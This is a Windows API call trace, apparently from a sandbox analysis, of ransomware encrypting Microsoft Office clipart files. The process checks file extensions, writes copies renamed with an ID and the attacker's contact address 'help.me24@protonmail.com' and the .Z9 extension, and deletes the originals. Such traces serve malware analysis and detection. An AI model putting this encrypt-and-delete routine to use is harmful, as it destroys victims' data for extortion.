	[0084.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.022] lstrlenW (lpString=".ppt") returned 4
	[0084.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.022] lstrlenW (lpString=".zip") returned 4
	[0084.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.022] lstrlenW (lpString=".rar") returned 4
	[0084.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.022] lstrlenW (lpString=".bz2") returned 4
	[0084.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.022] lstrlenW (lpString=".7z") returned 3
	[0084.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.022] lstrlenW (lpString=".dbf") returned 4
	[0084.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.022] lstrlenW (lpString=".1cd") returned 4
	[0084.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.022] lstrlenW (lpString=".jpg") returned 4
	[0084.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.023] lstrlenW (lpString=".doc") returned 4
	[0084.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString=".docx") returned 5
	[0084.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.023] lstrlenW (lpString=".pdf") returned 4
	[0084.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString=".xls") returned 4
	[0084.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.023] lstrlenW (lpString=".xlsx") returned 5
	[0084.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.023] lstrlenW (lpString=".ppt") returned 4
	[0084.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.023] lstrlenW (lpString=".zip") returned 4
	[0084.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.023] lstrlenW (lpString=".rar") returned 4
	[0084.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString=".bz2") returned 4
	[0084.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString=".7z") returned 3
	[0084.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.023] lstrlenW (lpString=".dbf") returned 4
	[0084.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.023] lstrlenW (lpString=".1cd") returned 4
	[0084.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.024] lstrlenW (lpString=".jpg") returned 4
	[0084.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.024] lstrlenW (lpString="BD00160_.WMF") returned 12
	[0084.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.024] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22516) returned 1
	[0084.024] CloseHandle (hObject=0x398) returned 1
	[0084.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220
	[0084.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.025] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.025] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.025] GetLastError () returned 0x0
	[0084.025] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x57f4, lpOverlapped=0x0) returned 1
	[0084.028] WriteFile (in: hFile=0x39c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5800, lpOverlapped=0x0) returned 1
	[0084.030] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.030] WriteFile (in: hFile=0x39c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.030] SetEndOfFile (hFile=0x39c) returned 1
	[0084.030] CloseHandle (hObject=0x39c) returned 1
	[0084.032] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.032] SetEndOfFile (hFile=0x398) returned 1
	[0084.033] CloseHandle (hObject=0x398) returned 1
	[0084.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1
	[0084.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.034] lstrlenW (lpString=".doc") returned 4
	[0084.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.034] lstrlenW (lpString=".docx") returned 5
	[0084.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.034] lstrlenW (lpString=".pdf") returned 4
	[0084.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.034] lstrlenW (lpString=".xls") returned 4
	[0084.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.034] lstrlenW (lpString=".xlsx") returned 5
	[0084.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.035] lstrlenW (lpString=".ppt") returned 4
	[0084.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.035] lstrlenW (lpString=".zip") returned 4
	[0084.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.035] lstrlenW (lpString=".rar") returned 4
	[0084.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString=".bz2") returned 4
	[0084.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString=".7z") returned 3
	[0084.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.035] lstrlenW (lpString=".dbf") returned 4
	[0084.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.035] lstrlenW (lpString=".1cd") returned 4
	[0084.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.035] lstrlenW (lpString=".jpg") returned 4
	[0084.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.035] lstrlenW (lpString=".doc") returned 4
	[0084.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.035] lstrlenW (lpString=".docx") returned 5
	[0084.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.036] lstrlenW (lpString=".pdf") returned 4
	[0084.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.036] lstrlenW (lpString=".xls") returned 4
	[0084.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.036] lstrlenW (lpString=".xlsx") returned 5
	[0084.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.036] lstrlenW (lpString=".ppt") returned 4
	[0084.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.036] lstrlenW (lpString=".zip") returned 4
	[0084.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.036] lstrlenW (lpString=".rar") returned 4
	[0084.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.036] lstrlenW (lpString=".bz2") returned 4
	[0084.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.036] lstrlenW (lpString=".7z") returned 3
	[0084.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.036] lstrlenW (lpString=".dbf") returned 4
	[0084.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.036] lstrlenW (lpString=".1cd") returned 4
	[0084.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0084.036] lstrlenW (lpString=".jpg") returned 4
	[0084.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.037] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.037] lstrlenW (lpString="BD00173_.WMF") returned 12
	[0084.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.482] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=16180) returned 1
	[0084.482] CloseHandle (hObject=0x398) returned 1
	[0084.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220
	[0084.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.502] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.502] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.517] GetLastError () returned 0x0
	[0084.517] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3f34, lpOverlapped=0x0) returned 1
	[0084.518] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3f40, lpOverlapped=0x0) returned 1
	[0084.519] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.519] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.520] SetEndOfFile (hFile=0x338) returned 1
	[0084.520] CloseHandle (hObject=0x338) returned 1
	[0084.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.523] SetEndOfFile (hFile=0x398) returned 1
	[0084.524] CloseHandle (hObject=0x398) returned 1
	[0084.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1
	[0084.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString=".doc") returned 4
	[0084.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString=".docx") returned 5
	[0084.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.525] lstrlenW (lpString=".pdf") returned 4
	[0084.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString=".xls") returned 4
	[0084.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.525] lstrlenW (lpString=".xlsx") returned 5
	[0084.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.525] lstrlenW (lpString=".ppt") returned 4
	[0084.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString=".zip") returned 4
	[0084.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.525] lstrlenW (lpString=".rar") returned 4
	[0084.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString=".bz2") returned 4
	[0084.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString=".7z") returned 3
	[0084.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString=".dbf") returned 4
	[0084.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString=".1cd") returned 4
	[0084.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString=".jpg") returned 4
	[0084.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.525] lstrlenW (lpString=".doc") returned 4
	[0084.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString=".docx") returned 5
	[0084.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.526] lstrlenW (lpString=".pdf") returned 4
	[0084.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString=".xls") returned 4
	[0084.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.526] lstrlenW (lpString=".xlsx") returned 5
	[0084.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.526] lstrlenW (lpString=".ppt") returned 4
	[0084.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.526] lstrlenW (lpString=".zip") returned 4
	[0084.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.526] lstrlenW (lpString=".rar") returned 4
	[0084.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString=".bz2") returned 4
	[0084.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString=".7z") returned 3
	[0084.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.526] lstrlenW (lpString=".dbf") returned 4
	[0084.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.526] lstrlenW (lpString=".1cd") returned 4
	[0084.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0084.526] lstrlenW (lpString=".jpg") returned 4
	[0084.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.526] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.526] lstrlenW (lpString="BD09031_.WMF") returned 12
	[0084.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.527] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=47786) returned 1
	[0084.527] CloseHandle (hObject=0x398) returned 1
	[0084.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220
	[0084.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.528] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.528] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.528] GetLastError () returned 0x0
	[0084.528] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xbaaa, lpOverlapped=0x0) returned 1
	[0084.531] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xbab0, lpOverlapped=0x0) returned 1
	[0084.532] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.532] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.532] SetEndOfFile (hFile=0x338) returned 1
	[0084.533] CloseHandle (hObject=0x338) returned 1
	[0084.538] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.538] SetEndOfFile (hFile=0x398) returned 1
	[0084.539] CloseHandle (hObject=0x398) returned 1
	[0084.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1
	[0084.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.540] lstrlenW (lpString=".doc") returned 4
	[0084.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.540] lstrlenW (lpString=".docx") returned 5
	[0084.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.540] lstrlenW (lpString=".pdf") returned 4
	[0084.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.540] lstrlenW (lpString=".xls") returned 4
